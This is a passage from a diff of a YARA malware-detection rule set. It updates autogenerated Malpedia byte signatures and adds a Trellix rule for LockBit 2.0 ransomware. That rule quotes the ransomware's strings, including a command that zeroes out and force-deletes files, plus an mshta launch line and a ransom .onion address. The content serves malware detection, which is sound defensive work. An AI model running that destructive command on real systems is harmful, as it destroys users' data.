c645c920 } + $sequence_29 = { 8b4508 8365f800 898184110000 8d45f4 6a00 } + $sequence_30 = { 83c404 85c0 7429 8b442454 0fbe38 40 85ff } + $sequence_31 = { 89442428 f3ab 88542414 89542444 } + $sequence_32 = { c645d057 c645d169 c645d26e c645d364 } + $sequence_33 = { c645cd31 c645ce3b c645cf20 c645d057 c645d169 } + $sequence_34 = { 52 e8???????? 83c404 e9???????? 6a05 } + $sequence_35 = { c645fa74 c645fb2e c645fc64 c645fd6c } + $sequence_36 = { c645f569 c645f66e c645f769 c645f86e } + $sequence_37 = { 8b4df4 034df0 8b5508 0355ec } + $sequence_38 = { 50 8b4dbc 51 8b952ce6ffff 8b4210 ffd0 85c0 } + $sequence_39 = { c685dcefffff45 c685ddefffff20 c685deefffff35 c685dfefffff2e c685e0efffff30 } condition: - 7 of them and filesize < 811008 + 7 of them and filesize < 450560 } -rule MALPEDIA_Win_Cmstar_Auto : FILE +rule MALPEDIA_Win_Lightwork_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a9e2a661-537d-568b-85df-f27a686a58fb" + id = "d343952d-c497-57b0-a1b6-2c344677756b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cmstar_auto.yar#L1-L177" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightwork" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightwork_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "cb1d0cd52e24cba8a51ced68bf521fb28bf6b675c076737849c87cad9d60f02d" + logic_hash = "ab480be92b4f3e94b9e8b99934bd7d24840465004bb1c1ae3a81e26cd770a803" score = 75 quality = 75 tags = "FILE" @@ -147960,38 +147913,32 @@ rule MALPEDIA_Win_Cmstar_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 56 bb04010000 57 53 } - $sequence_1 = { 8b45e8 ff75e0 ff30 e8???????? 8b4df8 } - $sequence_2 = { 8b4dec c1e802 6a04 52 8d0481 50 e8???????? } - $sequence_3 = { ff15???????? 8bc6 e9???????? 6a10 } - $sequence_4 = { ff15???????? 6a04 e8???????? be00040000 } - $sequence_5 = { 8b45d8 836dfc10 ff75fc 8945e0 8b45dc 83c310 8945e4 } - $sequence_6 = { ff15???????? 6a03 58 5f 5e 5b c9 } - $sequence_7 = { 85c0 7504 6a03 eb0d 803b4d } - $sequence_8 = { 888204420010 83c9ff 33c0 42 f2ae f7d1 49 } - $sequence_9 = { 8bf0 85f6 74b2 817c240cc8000000 741c a1???????? 33f6 } - $sequence_10 = { 81ec08060000 53 55 56 57 33db b9ff000000 } - $sequence_11 = { a1???????? 8b10 52 53 } - $sequence_12 = { 49 8d7c2418 8bc1 83c9ff 89442410 } - $sequence_13 = { a1???????? 85c0 7505 a1???????? 6a00 6a00 6a03 } - $sequence_14 = { be01000000 8b4c2420 51 ff15???????? 3beb 7409 55 } - $sequence_15 = { 64890d00000000 81c4c0120000 c3 8b8c24d0120000 33db 3bcb 741c } + $sequence_0 = { 8d5001 8b4508 8990c8010000 8b4508 890424 e8???????? 8b4508 } + $sequence_1 = { 83e0e0 89c2 8b450c 83e01f 09d0 } + $sequence_2 = { c3 55 89e5 8b4508 83c011 5d c3 } + $sequence_3 = { e8???????? 69d0e8030000 8b450c 01d0 8945f4 8b45f4 89c2 } + $sequence_4 = { 8b80d8010000 8b5510 89542408 8b550c 89542404 890424 e8???????? } + $sequence_5 = { 7419 8b45f0 8b55f4 89442404 89542408 8b4508 890424 } + $sequence_6 = { 55 89e5 8b4508 0fb64005 83e0f0 89c2 8b450c } + $sequence_7 = { 89e5 8b4508 c74008???????? 8b4508 c740047d000000 90 5d } + $sequence_8 = { 890424 e8???????? 8b450c 8b4014 014518 8b5518 8b4510 } + $sequence_9 = { 66894819 0fb65206 88501b 8b4508 c9 c3 55 } condition: - 7 of them and filesize < 4268032 + 7 of them and filesize < 1132544 } -rule MALPEDIA_Win_Observer_Stealer_Auto : FILE +rule MALPEDIA_Win_Puzzlemaker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c0737640-3fea-5607-8cf7-00374c1f837c" + id = "62794821-c42e-5220-ad0d-6e7823ce4882" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.observer_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.observer_stealer_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.puzzlemaker_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "0be9a733455d3fbd7030daf285d74174d225df89f30a4020aa754c9c1ec43bc3" + logic_hash = "e75d1e0c1e55c34f83f0daa3660ed41869121e99648bc4cb3b1da2986e8ecbae" score = 75 quality = 75 tags = "FILE" @@ -148005,32 +147952,32 @@ rule MALPEDIA_Win_Observer_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 57 8bc8 e8???????? 6a14 89442418 e8???????? } - $sequence_1 = { 8bcb e8???????? e9???????? 85ff 74cc 68???????? 8d4c2418 } - $sequence_2 = { c3 33c0 8bd1 53 56 57 8bfa } - $sequence_3 = { 59 59 c20400 56 8bf1 8b46e0 8b4004 } - $sequence_4 = { c3 83ec10 53 8bc1 55 } - $sequence_5 = { 55 e8???????? 3bc7 0f87ab000000 6bc024 50 89442414 } - $sequence_6 = { 8b751c 56 68???????? 57 e8???????? 8b4510 } - $sequence_7 = { 894d0c 894508 3d00100000 7215 8d4508 50 8d450c } - $sequence_8 = { 8d4dc0 68???????? e8???????? 837d3408 8d4d20 8d4508 0f434d20 } - $sequence_9 = { 89773c c7474001000000 c74750fb5d7708 e8???????? 8bc7 5f 5e } + $sequence_0 = { c74078feffffff 83ffff 0f8c60040000 41837e0800 4c8d05b7b6ffff } + $sequence_1 = { 4883ec20 8bfa 4c8d0d25a00000 488bd9 488d151ba00000 b916000000 4c8d0507a00000 } + $sequence_2 = { 448bc0 4c8d157d0a0200 0f1f4000 660f1f840000000000 410fb6d0 420fb60c12 } + $sequence_3 = { 488905???????? 4885c0 7551 488b0d???????? 488d157c160200 } + $sequence_4 = { 4c8d0d3da30000 33c9 4c8d0530a30000 488d1531a30000 e8???????? 4885c0 } + $sequence_5 = { ff15???????? 4c8be0 4c896ddf 488b4dc7 488b11 4c8b5230 } + $sequence_6 = { e8???????? 488db328010000 bd06000000 488d7b38 488d05462d0100 } + $sequence_7 = { 84c0 7421 4885db 750b 488d1d83f20000 48895f48 4863d6 } + $sequence_8 = { 7410 41ffc0 4983c102 4181f880000000 72e1 448bc0 } + $sequence_9 = { 418bd2 4d8b8cc7f02b0200 498bfa 4b8d04f1 443854383e } condition: - 7 of them and filesize < 614400 + 7 of them and filesize < 331776 } -rule MALPEDIA_Win_Hawkball_Auto : FILE +rule MALPEDIA_Win_Seduploader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "233d17b2-2f85-5e81-980e-94af1bd07bc8" + id = "8fb6991a-2035-5d98-8418-a7713bf4dcf3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkball" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hawkball_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.seduploader_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "9b3366bae76271a5cf9e32b5f0daa7b3fc0e06cb94c8f54801829ffbaa6e0521" + logic_hash = "322f530e99af9eadb7926bd0383665644ca1fdc1bbd87072e1c813cec7a54a88" score = 75 quality = 75 tags = "FILE" @@ -148044,32 +147991,32 @@ rule MALPEDIA_Win_Hawkball_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 50 53 6a00 68e9fd0000 } - $sequence_1 = { c3 6a59 ff15???????? 85c0 0f84b4000000 be???????? 8bc6 } - $sequence_2 = { 56 8b7508 833e00 7f0a be04000000 e9???????? } - $sequence_3 = { ff75f8 c745fc00000000 ffd6 8b45fc 8b1d???????? 40 50 } - $sequence_4 = { 56 f30f7f4588 57 660f6f05???????? 8b3d???????? f30f7f4598 } - $sequence_5 = { 50 668945dc 0f57c0 668985acf7ffff 8d85aef7ffff 50 c745d801000000 } - $sequence_6 = { ff15???????? 8b4309 83f801 751c 8b5508 8d85f8fdffff 50 } - $sequence_7 = { 85c0 741e 8d85fcfeffff 68???????? 50 e8???????? } - $sequence_8 = { ffd6 50 ffd3 ff0d???????? 33c0 5f } - $sequence_9 = { 6a08 ffd3 50 ff15???????? 8bf0 8d8578ffffff 50 } + $sequence_0 = { ff763c e8???????? 83c40c 3b4508 } + $sequence_1 = { 50 e8???????? 8b4510 83c6fe 8930 8d4601 50 } + $sequence_2 = { 8b4510 83c6fe 8930 8d4601 50 e8???????? } + $sequence_3 = { 83c6fe 8930 8d4601 50 e8???????? } + $sequence_4 = { 8b4510 83c6fe 8930 8d4601 } + $sequence_5 = { e8???????? 8b4510 83c6fe 8930 8d4601 } + $sequence_6 = { 56 6a3e 8bf1 e8???????? } + $sequence_7 = { 8b4510 83c6fe 8930 8d4601 50 } + $sequence_8 = { 50 e8???????? 8b4510 83c6fe 8930 } + $sequence_9 = { 83c6fe 8930 8d4601 50 } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 401408 } -rule MALPEDIA_Win_Dharma_Auto : FILE +rule MALPEDIA_Win_Stealhook_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e4f9cff7-2b7e-5614-97de-e64666dbaa6b" + id = "b998f829-6a22-55c4-913b-e54119474a49" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dharma_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealhook" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealhook_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "ed48c8d46095165b3771ad3d606dd9e4c3ca951524311f4024cd2a8039cd375d" + logic_hash = "50f44fb127afc2237096592b9ec06ad6fce68e47e81e08acb0de7cd16e206d85" score = 75 quality = 75 tags = "FILE" @@ -148083,32 +148030,32 @@ rule MALPEDIA_Win_Dharma_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 8b5510 52 8b450c 50 8b4df0 c1e105 } - $sequence_1 = { c1ea10 81e2ff000000 8b048db8b34000 330495b8b74000 } - $sequence_2 = { 50 e8???????? 83c408 c785c4fdffff01000000 8b8dd4fdffff 51 e8???????? } - $sequence_3 = { 51 8b55fc 52 ff15???????? 8b4df8 89048db8864100 8b55f8 } - $sequence_4 = { 8b4508 8b4d08 8908 c745f801000000 8b5510 c70201000000 8b45f8 } - $sequence_5 = { 51 6a00 8b55ec 52 e8???????? 83c40c 8b45ec } - $sequence_6 = { 8b45fc 50 e8???????? 50 6a00 } - $sequence_7 = { 50 8b4d10 51 8d95e0fdffff 52 e8???????? 83c410 } - $sequence_8 = { 8b4d08 0fb6548121 8b8590feffff 0b9485b8feffff 8b8d90feffff 89948db8feffff } - $sequence_9 = { 68feff0000 e8???????? 83c404 8945ac e8???????? 8945d0 6a02 } + $sequence_0 = { 410fb6868e000000 41884705 410fb6868f000000 41884704 410fb68690000000 4188470b 418b8690000000 } + $sequence_1 = { e8???????? 48833b00 488d0dd7170500 480f450b } + $sequence_2 = { 4a0fbe8419389a0600 428a8c19489a0600 4c2bd0 418b4048 418b52fc d3ea 03c2 } + $sequence_3 = { 83e10f 480fbe8411389a0600 8a8c11489a0600 4c2bc0 418b40fc d3e8 4d894708 } + $sequence_4 = { 4d8bf8 4c896910 4c8bc6 4c896918 488bee e8???????? 458be5 } + $sequence_5 = { 33d2 4903c1 49f7f1 49837e1807 488d0451 498bce 7603 } + $sequence_6 = { 488b4590 48634804 4c896c0d90 488b4590 } + $sequence_7 = { e8???????? 90 488d542450 48837c24680f 480f47542450 41b8e8030000 488d4c2470 } + $sequence_8 = { 66480f6ec8 660f2f25???????? 0f82df000000 48c1e82c 660feb15???????? 660feb0d???????? 4c8d0dd4fd0000 } + $sequence_9 = { 4c8b5577 488d05d9350300 0f1000 4c8bd9 488d4c2430 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 1129472 } -rule MALPEDIA_Win_Mediapi_Auto : FILE +rule MALPEDIA_Win_Feed_Load_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "93eb6857-89ab-509f-a3db-521b6138e920" + id = "12c918c0-c452-5da2-b8ac-4e16f1c3b07c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mediapi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mediapi_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feed_load" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.feed_load_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "62d55dbda71843c208580e1ce14906c348dc561d976d6517a9642b390fe58aad" + logic_hash = "722b483a312044af2fe5076c6a59554ad3a69ee6c355530da497915e66c263d4" score = 75 quality = 75 tags = "FILE" @@ -148122,34 +148069,34 @@ rule MALPEDIA_Win_Mediapi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89c1 e8???????? 8045ff01 ebc3 } - $sequence_1 = { 4898 488d95c0010000 41b900000000 41b8d0470000 4889c1 488b05???????? ffd0 } - $sequence_2 = { 488b5510 884209 488b5510 0fb645ff 88420d } - $sequence_3 = { 8345fc01 837dfc3b 0f86cdfdffff 90 4883c420 5d c3 } - $sequence_4 = { 88420b 488b5510 0fb645ff 884207 90 4883c410 } - $sequence_5 = { 4889f1 ffd0 488b5b10 4885db 75dc 488d0d35600000 4883c428 } - $sequence_6 = { 0fb645db 0fb6c0 c1f802 83e00f 01d0 } - $sequence_7 = { 90 488d0506700000 8b00 4898 488d9540010000 41b810000000 } - $sequence_8 = { 8845de 0fb645db 0fb6c0 c1e006 89c2 0fb645dc 01d0 } - $sequence_9 = { 8b05???????? c1e010 4898 48394518 } + $sequence_0 = { 44393d???????? 742c 4c897c2428 4c8d0578faffff 4533c9 44897c2420 33d2 } + $sequence_1 = { 48ffc0 4983ef01 75ef 498d5508 488bcd 4c8d4c2458 } + $sequence_2 = { 448bc7 488bd0 488bce 4c8bf0 e8???????? 3bc5 7411 } + $sequence_3 = { 482bca 4883c302 4183e60f 4983fe0f 0f85bd000000 } + $sequence_4 = { e8???????? 8b442450 8905???????? eb17 4c8d442454 e8???????? } + $sequence_5 = { 488d15a6550200 448bcf 448bc6 ff15???????? 4423e0 0f84ef010000 488b4b18 } + $sequence_6 = { 4889742420 4489442418 55 57 4154 4156 4157 } + $sequence_7 = { 8bc2 c1e81f 03d0 8d4310 03c2 48638c24b0000000 3bc8 } + $sequence_8 = { e9???????? 488bc3 4c8d3d873affff 498784f798600300 4885c0 7409 } + $sequence_9 = { 410fb608 83e10f 4a0fbe841100050200 428a8c1110050200 } condition: - 7 of them and filesize < 246784 + 7 of them and filesize < 512000 } -rule MALPEDIA_Win_Virut_Auto : FILE +rule MALPEDIA_Win_Xiaoba_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3fd5dd6e-824b-546b-b12a-268a3f416abf" + id = "15cc05c8-af5c-56f2-a0b2-68d5a40a2950" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virut_auto.yar#L1-L167" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xiaoba_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "de37b05635cd805b87d10763e231c25410e6442bea902a0aedfdfedcccb45534" + logic_hash = "95db22137ae310cb1c06897611cc39a7bd77badcb0dab70f72ac629d2a8f20ac" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -148161,38 +148108,32 @@ rule MALPEDIA_Win_Virut_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c ab ab 8d442430 50 } - $sequence_1 = { e9???????? 8dbec8000000 0fb74e1e 8d74311f 6804010000 57 } - $sequence_2 = { 3bf1 7ce5 8b442414 6a03 } - $sequence_3 = { 6804010000 ff15???????? 8d8424c8000000 50 } - $sequence_4 = { 53 6a05 8bcc 50 } - $sequence_5 = { 50 ff15???????? 3bc3 0f8484020000 8b400c } - $sequence_6 = { 03f9 57 52 6a18 } - $sequence_7 = { 54 51 50 52 51 51 } - $sequence_8 = { 85c0 7416 e314 50 8bd4 6a00 } - $sequence_9 = { 85c0 7d04 33c0 eb63 ff750c } - $sequence_10 = { 8d8424dc020000 50 33db 53 ff15???????? 8b35???????? 53 } - $sequence_11 = { 6a00 8bcc 6a40 6800001000 } - $sequence_12 = { 6a00 6800000008 6a40 51 52 6a0e 50 } - $sequence_13 = { 83e003 40 50 8d442428 50 8d8424e0020000 } - $sequence_14 = { 3b44240c 8d8c1139300000 894c2414 7cdc 53 8d442410 } - $sequence_15 = { 8bd4 50 54 6a40 51 52 } + $sequence_0 = { 7407 a9???????? 7557 8b8644010000 33c9 668b8e48010000 85c9 } + $sequence_1 = { d9c0 dc642428 dd5c2440 dd442410 dc642420 dd442440 d9c1 } + $sequence_2 = { db45fc dd5dd4 dc65d4 dd5dcc db45f8 dd5dc4 } + $sequence_3 = { dc442410 dd5c2410 e9???????? db8740010000 dc6c2418 dd5c2418 e9???????? } + $sequence_4 = { dd442404 dc0d???????? c3 83c0fe 83f803 0f87cd000000 ff2485bcd24500 } + $sequence_5 = { 7414 3d00020000 741a 8d542464 52 ff15???????? ebb2 } + $sequence_6 = { ff45f8 f682c1ed660004 894d08 7457 803900 7504 33ff } + $sequence_7 = { 53 e8???????? 83c404 8b45ec e9???????? 8be5 5d } + $sequence_8 = { 64890d00000000 83c478 c20c00 8b8c2490000000 8b4658 5f 5e } + $sequence_9 = { ffd3 c786c400000000000000 57 ff15???????? 8b4c2440 5f 5e } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 5177344 } -rule MALPEDIA_Win_Chir_Auto : FILE +rule MALPEDIA_Win_Darkvision_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "78bff571-2d0f-563f-8afb-2fed2637cee4" + id = "1a6f6701-70b7-5c48-928b-485642438bd0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chir" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chir_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvision_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkvision_rat_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "13fbf415f29c525be8d7104bf47ab4cf9292f1187b96643f7c39e370c88f7e8f" + logic_hash = "ea735f4eeed059962dba8005baff4c34c6d0e6dbba61d43d1f0324dec9b20b8d" score = 75 quality = 75 tags = "FILE" @@ -148206,32 +148147,32 @@ rule MALPEDIA_Win_Chir_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 c745f840214125 c745fc32212400 e8???????? } - $sequence_1 = { 48 59 8bfb 7419 } - $sequence_2 = { 8d45f0 50 c745f021352432 c745f451173300 e8???????? 48 } - $sequence_3 = { 8d4c15f8 8a19 80f3fc 80c302 80f301 80c303 } - $sequence_4 = { 8d45f4 50 c745f421352432 c745f851173300 e8???????? } - $sequence_5 = { 740b 48 8906 66837c47fe5c } - $sequence_6 = { c745f451173300 e8???????? 48 59 8bfb } - $sequence_7 = { 7415 8d4c15f8 8a01 34fc 0402 3401 0403 } - $sequence_8 = { 42 8801 3bd7 72eb } - $sequence_9 = { 8d45f4 50 c745f421352432 c745f851173300 } + $sequence_0 = { eb0a 8b44243c ffc0 8944243c 837c243c64 } + $sequence_1 = { 85c0 7523 488d15da6b0300 488b8c2460030000 ff15???????? 488b8c2460030000 ff15???????? } + $sequence_2 = { ff15???????? 488b8c2468030000 ff15???????? 41b838000000 33d2 488d8c2428030000 e8???????? } + $sequence_3 = { 488d0d9efe0100 48837c010800 7432 4863442424 4869c0040b0000 488d0d83fe0100 66ba6600 } + $sequence_4 = { 741d 488b4c2438 ff15???????? 488b4c2430 ff15???????? 33c0 } + $sequence_5 = { 4c8d0505910100 baff7f0000 488b4c2440 ff15???????? 4c8d0deaf40200 4c8d05ff900100 baff7f0000 } + $sequence_6 = { baffffffff 488b4c0110 ff15???????? 4863442424 486bc028 488d0d71550200 48837c010800 } + $sequence_7 = { ff15???????? 4885c0 0f847a010000 488bc8 ff15???????? 488d15e0620000 488bce } + $sequence_8 = { 488b4c2430 4803c8 488bc1 4889442470 c744247c00000000 eb0a } + $sequence_9 = { ba7c040000 b940000000 ff15???????? 4889442428 48837c242800 0f8477020000 4c8b442428 } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 618496 } -rule MALPEDIA_Win_Dnwipe_Auto : FILE +rule MALPEDIA_Win_Stresspaint_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1dfcf0b7-155d-5531-9418-b3b6f7b47f6c" + id = "60972f0d-5b32-562d-b7a1-4042f30f34cb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnwipe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnwipe_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stresspaint_auto.yar#L1-L150" license_url = "N/A" - logic_hash = "a0d87818c953765cbf35eb3a0b4d4fff142998a549a84312b85c4d079e960955" + logic_hash = "d56631be02335c29e6f4a5ef8e07a5da331d1e0c248639e3a06714253e875bf3" score = 75 quality = 75 tags = "FILE" @@ -148245,25 +148186,31 @@ rule MALPEDIA_Win_Dnwipe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 1306 16 1307 2b22 1106 } - $sequence_1 = { 00 2b37 00 7e01000004 281c00000a 720f000070 } - $sequence_2 = { 00 00 2b37 00 } - $sequence_3 = { 58 0d 09 07 8e 69 fe04 } - $sequence_4 = { 281b00000a 00 00 00 de04 } - $sequence_5 = { 110c 9a 6f2400000a 7285000070 6f2900000a 3a01010000 110a } - $sequence_6 = { 00 2b09 00 17 } - $sequence_7 = { 09 1304 16 1305 2b74 } - $sequence_8 = { 8e 69 3284 00 de05 26 } - $sequence_9 = { 09 9a 732200000a 1304 07 09 9a } + $sequence_0 = { 8d542478 51 52 e8???????? 8b44244c } + $sequence_1 = { 8d542478 c6042b00 3bda 7505 } + $sequence_2 = { 0103 014510 294514 83665800 } + $sequence_3 = { 0106 83560400 837d1c00 7494 } + $sequence_4 = { 0103 014510 294674 8b4674 } + $sequence_5 = { 8d542901 52 6a1e 56 } + $sequence_6 = { 0107 115f04 3bcb 7508 } + $sequence_7 = { 8d542478 52 57 e8???????? 83c408 } + $sequence_8 = { 8d542478 f3ab 8b8c24a4000000 8b8424a0000000 } + $sequence_9 = { 0107 83570400 85c9 7508 } + $sequence_10 = { 8d542478 898c2498010000 8d8c2494010000 52 } + $sequence_11 = { 010b 8945fc 8bc2 83530400 } + $sequence_12 = { 0103 ebaa 8b442408 56 } + $sequence_13 = { 8d542474 51 55 52 8bce e8???????? } + $sequence_14 = { 0108 8b8e44010000 114804 8b4f18 } + $sequence_15 = { 8d542901 52 6a1f 56 } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 1155072 } /* * YARA Rule Set * Repository Name: Trellix ARC * Repository: https://github.com/advanced-threat-research/Yara-Rules/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 1919562a59f190bda60c982424f6a24c542ee3e0 * Number of Rules: 163 * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance) @@ -148533,2409 +148480,2643 @@ private rule TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE : RANSOMWARE condition: any of them } -rule TRELLIX_ARC_Kelihos_Botnet_Pdb : BOTNET FILE +rule TRELLIX_ARC_Lockbit2_Jul21 : FILE { meta: - description = "Rule to detect Kelihos malware based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "2b6683a1-ba19-586b-8a92-89d4764efa12" - date = "2013-09-04" - modified = "2020-08-14" - reference = "https://www.malwaretech.com/2017/04/the-kelihos-botnet.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_kelhios_botnet_pdb.yar#L1-L26" + description = "simple rule to detect latest Lockbit ransomware Jul 2021" + author = "CB @ ATR" + id = "22b423df-ae5c-5672-95be-333b13791fc6" + date = "2021-07-28" + modified = "2021-07-28" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Lockbit2.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "f0a6d09b5f6dbe93a4cf02e120a846073da2afb09604b7c9c12b2e162dfe7090" - logic_hash = "f60fb85161f86653f390b444d568da24cf07b3be99856230156741e8451e2a3f" - score = 75 + logic_hash = "b3ed7d7c72b7585877293f586bae5ec7b0135b09d518b4e4b08f64e60db5a159" + score = 50 quality = 70 - tags = "BOTNET, FILE" - rule_version = "v1" - malware_type = "botnet" - malware_family = "Botnet:W32/Kelihos" - actor_type = "Cybercrime" - actor_group = "Unknown" + tags = "FILE" + version = "v1" + hash1 = "f32e9fb8b1ea73f0a71f3edaebb7f2b242e72d2a4826d6b2744ad3d830671202" + hash2 = "dd8fe3966ab4d2d6215c63b3ac7abf4673d9c19f2d9f35a6bf247922c642ec2d" strings: - $pdb = "\\Only\\Must\\Not\\And.pdb" - $pdb1 = "\\To\\Access\\Do.pdb" + $seq1 = " /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" fullword wide + $seq2 = "\"C:\\Windows\\system32\\mshta.exe\" \"%s\"" fullword wide + $p1 = "C:\\windows\\system32\\%X%X%X.ico" fullword wide + $p2 = "\\??\\C:\\windows\\system32\\%X%X%X.ico" fullword wide + $p3 = "\\Registry\\Machine\\Software\\Classes\\Lockbit\\shell\\Open\\Command" fullword wide + $p4 = "use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7" fullword wide + $p5 = "https://tox.chat/download.html" fullword wide + $p6 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration" fullword wide + $p7 = "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion" fullword wide + $p8 = "\\LockBit_Ransomware.hta" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize < 1440KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $seq* ) and 4 of them ) ) or ( all of them ) } -rule TRELLIX_ARC_Cyaxsharp_Rezer0 : LOADER +rule TRELLIX_ARC_Cryptonar_Ransomware : RANSOMWARE FILE { meta: - description = "Detects CyaX-Sharp/ReZer0 loader samples based on the embedded scheduled task template" - author = "Max 'Libra' Kersten for McAfee's Advanced Threat Research Team" - id = "7a1addcf-4e8f-5290-8788-9b0738128160" - date = "2021-04-08" - modified = "2021-08-04" - reference = "This rule was published in combination with the following McAfee ATR blog: https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/see-ya-sharp-a-loaders-tale/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MAL_cyax_sharp_loader.yar#L1-L16" + description = "Rule to 